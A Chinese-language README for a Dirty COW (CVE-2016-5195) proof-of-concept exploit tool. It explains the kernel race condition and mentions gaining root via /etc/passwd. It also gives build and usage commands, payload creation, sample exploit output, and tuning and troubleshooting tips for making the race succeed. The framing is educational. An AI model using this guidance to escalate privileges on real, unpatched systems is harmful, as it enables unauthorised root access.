Dirty COW 教育性 PoC（CVE-2016-5195）

⚠️ 法律警告

此代码仅供教育目的使用。任何恶意使用均被严格禁止，且属于违法行为。

📖 什么是 Dirty COW？

Dirty COW（CVE-2016-5195）是 Linux 内核中的一个权限提升漏洞，它利用了内核写时复制（COW）机制中的竞争条件。该漏洞影响从 2.6.22 版本（2007 年发布）到以下版本之前的 Linux 内核：

4.8.3
4.7.9
4.4.26

技术细节

该漏洞存在于内核的内存管理系统中：

写时复制（COW）：当进程使用 MAP_PRIVATE 映射文件时，修改操作应当创建一份私有副本
竞争条件：两个线程在 madvise(MADV_DONTNEED) 与写入 /proc/self/mem 之间展开竞争
漏洞利用：在特定的时序条件下，写入操作可以绕过 COW 保护并修改原始文件

影响

权限提升：修改 root 拥有的只读文件
系统沦陷：通过修改 /etc/passwd 等系统文件有可能获得 root 权限
数据完整性：对关键系统文件进行未经授权的修改

🛡️ 测试安全须知

⚠️ 重要：仅在隔离环境中测试

切勿在生产系统或非您所有的系统上运行！

安全测试实践：

# 1. Check kernel version first
uname -r

# 2. Create isolated test directory
mkdir /tmp/dirtycow_test
cd /tmp/dirtycow_test

# 3. Test with harmless files only
./main -t /tmp/test_file -v

# 4. Monitor system resources
top -p $(pgrep -f main)

🚀 编译与使用

前置条件

# Install required packages (Ubuntu/Debian)
sudo apt-get update
sudo apt-get install build-essential libssl-dev

# Install required packages (CentOS/RHEL)
sudo yum install gcc openssl-devel

编译

# Standard compilation
make

# Debug version
make main-debug

# Manual compilation
gcc -o main main.c -lpthread -lssl -lcrypto

基本用法

# Simple test with default settings
./main

# Verbose mode with custom target
./main -t /tmp/testfile -v

# Advanced usage with multiple processes
./main -t /tmp/target -n 4 -r 3 -D -v

# Binary payload from file
./main -f payload.bin -P -D -n 2

命令行选项

🔬 高级功能

1. 多种攻击方法

方法 1：/proc/self/mem 写入（默认）
方法 2：适用于受限系统的 ptrace(PTRACE_POKETEXT)

2. 动态偏移扫描

扫描多个内存偏移以找到最佳写入位置：

./main -D -v  # Enable dynamic offset scanning

3. 多进程竞争条件

启动多个进程以制造激烈的竞争条件：

./main -n 4  # Use 4 parallel processes

4. 二进制载荷支持

从文件加载任意二进制数据：

# Create binary payload
echo -ne '\x41\x41\x41\x41\x00\x42\x42' > payload.bin

# Use binary payload
./main -f payload.bin -v

5. 自动重试逻辑

自动重试失败的尝试：

./main -r 5  # Retry up to 5 times

6. 文件完整性验证

使用 SHA-256 哈希验证文件修改：

# Check original vs modified file hashes
./main -v  # Shows hash comparison in verbose mode

📊 输出与日志

控制台输出示例

Dirty COW Educational PoC (CVE-2016-5195)
==========================================

=== SYSTEM INFORMATION ===
Kernel Version: Linux 4.4.0-generic
Architecture: x86_64
Current User: testuser
UID/GID: 1000/1000

=== VULNERABILITY CHECK ===
Kernel: Linux version 4.4.0-generic
[+] /proc/self/mem accessible

=== STARTING TEST ===

=== EXPLOIT EXECUTION ===
[+] Target: /tmp/dirty_cow_test
[+] Payload length: 32 bytes
[+] Iterations: 10000000
[+] Processes: 1
[+] Method: /proc/self/mem
[+] Dynamic offset: disabled
[+] Backup created: /tmp/dirty_cow_test.backup
[+] Original content: original-content-before-exploit
[+] Starting race condition test...
[+] EXPLOIT SUCCESSFUL on attempt 1!
[+] File hash changed - modification confirmed!
[+] Original: a1b2c3d4e5f6...
[+] Final:    f6e5d4c3b2a1...

=== TEST SUCCESSFUL ===
[+] File modification completed
[+] Educational objective achieved
[+] Statistics: 156789 writes, 1 successful, 2.347 sec

日志文件格式

该工具会在 exploit_log.txt 中生成详细日志：

[2024-01-15 10:30:45] System Info - UID/GID: 1000/1000
[2024-01-15 10:30:45] Kernel version: Linux version 4.4.0-generic
[2024-01-15 10:30:45] /proc/self/mem accessible
[2024-01-15 10:30:45] Starting exploit - Target: /tmp/test, Payload: 32 bytes
[2024-01-15 10:30:47] EXPLOIT SUCCESSFUL on attempt 1
[2024-01-15 10:30:47] Final stats - Writes: 156789, Successful: 1, Duration: 2.347 sec

🎯 测试场景

场景 1：基本功能测试

# Test basic exploit functionality
./main -t /tmp/basic_test -v

场景 2：压力测试

# High-intensity race condition test
./main -i 50000000 -n 4 -r 3 -D -v

场景 3：受限环境

# Test when /proc/self/mem is blocked
./main -P -D -v

场景 4：二进制载荷测试

# Test with binary data containing null bytes
echo -ne 'BINARY\x00DATA\x01\x02\x03' > test.bin
./main -f test.bin -v

🔍 理解该漏洞利用

竞争条件时序

该漏洞利用通过在两个操作之间制造竞争来实现：

线程 1：madvise(MADV_DONTNEED) - 告知内核丢弃内存页
线程 2：写入 /proc/self/mem - 尝试写入已映射的内存

成功因素

内核版本：必须存在漏洞（< 4.8.3）
时序：竞争条件必须在精确的时机发生
内存映射：文件必须使用 MAP_PRIVATE 进行映射
权限：必须对目标文件具有读取权限

为何有效

当竞争条件成功时：

线程 1 丢弃 COW 页面
线程 2 在新 COW 页面创建之前完成写入
写入直接落到原始文件，而非私有副本

🛠️ 故障排除

常见问题

1. “漏洞利用失败或迭代次数不足”

解决方法：使用 -i 增加迭代次数，或使用 -n 启动多个进程

2. “/proc/self/mem 访问失败”

解决方法：使用 -P 标志启用 ptrace 方法

3. “系统可能不存在该漏洞”

检查内核版本：uname -r
确保内核版本早于 4.8.3

4. 系统无响应

减少迭代次数：-i 1000000
使用更少的进程：-n 1

性能调优

# Conservative settings (slower but safer)
./main -i 5000000 -n 1

# Aggressive settings (faster but resource intensive)
./main -i 50000000 -n 4 -D

# Balanced settings
./main -i 20000000 -n 2 -r 2 -D

📚 教育资源

CVE 信息

CVE-2016-5195：https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-5195
NVD 数据库：https://nvd.nist.gov/vuln/detail/CVE-2016-5195

扩展阅读

Linux 内核内存管理
写时复制（COW）机制
竞争条件漏洞
权限提升技术

🤝 贡献

这是一个教育工具。贡献应侧重于：

提升教育价值
增加安全特性
完善文档
代码清晰度与注释

⚖️ 免责声明

本软件仅用于教育和研究目的。作者和贡献者不对因使用本程序而造成的任何误用或损害负责。用户全权负责确保在对任何系统进行测试之前已获得适当授权。

使用本软件即表示您确认：

您将仅将其用于合法的教育目的
您已获得进行任何测试的适当授权
您了解未经授权进行系统测试的法律后果
您不会将此工具用于恶意目的

📝 许可证

本项目仅出于教育目的以 MIT 许可证发布。

请记住：能力越大，责任越大。请运用这些知识来保护和加固系统，而不是伤害它们。

`-t <file>`	目标文件路径	`/tmp/dirty_cow_test`	-
`-p <payload>`	自定义文本载荷	Test string	-
`-f <file>`	从文件加载二进制载荷	-	-
`-i <num>`	迭代次数	10,000,000	100,000,000
`-n <num>`	并行进程数	1	8
`-r <num>`	重试次数	1	10
`-P`	使用 ptrace 代替 /proc/self/mem	已禁用	-
`-D`	启用动态偏移扫描	已禁用	-
`-v`	详细输出	已禁用	-
`-l <file>`	日志文件路径	`exploit_log.txt`	-
`-h`	显示帮助	-	-

dirtycow-lab

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